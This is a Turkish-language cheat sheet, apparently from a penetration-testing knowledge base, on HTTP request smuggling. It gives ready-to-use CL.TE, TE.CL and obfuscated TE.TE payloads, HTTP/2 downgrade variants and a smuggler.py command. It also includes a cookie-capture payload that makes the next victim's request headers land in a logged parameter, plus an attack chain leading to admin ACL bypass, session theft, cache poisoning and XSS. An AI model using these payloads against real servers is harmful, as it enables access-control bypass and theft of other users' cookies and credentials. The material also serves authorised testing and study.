HTTP Request Smuggling
ileri seviye difficulty: zor
HTTP Request Smuggling, bir isteğin nerede bittiğini ön uç (front-end) ve arka uç (back-end) sunucuların farklı yorumlamasından doğar. Genellikle Content-Length (CL) ile Transfer-Encoding: chunked (TE) başlıklarının çelişkili işlenmesinden kaynaklanır. Saldırgan bir isteğin “kuyruğunu” sonraki kullanıcının isteğine karıştırarak yetki atlatma, önbellek zehirleme ve kimlik hırsızlığı yapar.
Neden çalışır
Section titled “Neden çalışır”Client → [Reverse Proxy / CDN / LB] → [Origin] ↑ CL veya TE seçimi farklıysa payload sonraki request'in önüne eklenirHTTP/1.1 keep-alive → desync kalıcıVaryantlar
Section titled “Varyantlar”# CL.TE — front CL, back TEPOST / HTTP/1.1Host: victimContent-Length: 6Transfer-Encoding: chunked
0
GG back-end’de sonraki isteğin başına yapışır (GPOST → 400); gecikme veya bozuk yanıt kaçakçılığı gösterir.
# TE.CL — front TE, back CLPOST / HTTP/1.1Host: victimContent-Length: 4Transfer-Encoding: chunked
5cGPOST / HTTP/1.1Content-Length: 15
x=10# TE.TE — obfuscated TETransfer-Encoding: chunkedTransfer-Encoding: xchunkedTransfer-Encoding: chunkedTransfer-Encoding: identityTransfer-Encoding:[\t]chunkedHTTP/2 downgrade smuggling
Section titled “HTTP/2 downgrade smuggling”Front HTTP/2 → origin HTTP/1.1:
H2.CL — yasak/yanlış Content-LengthH2.TE — H2 çerçevesinde TEH2.CL.0 / header CRLF — request line enjekteBurp Repeater’da HTTP/2 etkinleştirip downgrade senaryolarını dene.
Tespit metodolojisi
Section titled “Tespit metodolojisi”-
Zaman tabanlı prob — CL.TE/TE.CL; back-end chunk beklerken ~10s gecikme.
-
Diferansiyel yanıt — kaçırılan önek başka isteği bozar.
-
Confirm — prefix’i GET /404token yapıp yanıtta token ara.
-
Araç — Burp HTTP Request Smuggler ; smuggler.py TE obfuscation.
python3 smuggler.py -u https://hedef.exampleEtki senaryoları
Section titled “Etki senaryoları”□ Ön uç ACL atlatma — /admin WAF engelli; smuggled origin'e gider□ Kullanıcı isteği çalma — sonraki Cookie/body'yi yansıyan param'a yapıştır□ Cache poisoning — smuggled yanıt paylaşılan cache'e□ Stored/reflected XSS — başka kullanıcının yanıtına script□ Credential hijack — login POST body yakala□ HTTP/2 downgrade ile modern CDN hedefleriCookie capture kalıbı
Section titled “Cookie capture kalıbı”POST / HTTP/1.1Host: victimContent-Length: ...Transfer-Encoding: chunked
0
GET /capture?x= HTTP/1.1Foo:Sonraki kurban isteğinin başlıkları x= parametresine yapışır; log/capture ucunda görünür.
Pratik ipuçları
Section titled “Pratik ipuçları”□ Burp "Update Content-Length" KAPALI□ \r\n baytlarını doğru kullan□ HTTP/1.1 zorla (bazı CDN H2-only)□ Tek bağlantıda sıralı istekler (tab groups)□ Blind: Collaborator'a smuggled GET□ Chunk boyutları hex; satır sonları CRLFSaldırı zinciri
Section titled “Saldırı zinciri”smuggler.py / Burp timing → CL.TE confirm → smuggle GET /admin → veya capture Cookie → hesap → veya poison cache → XSS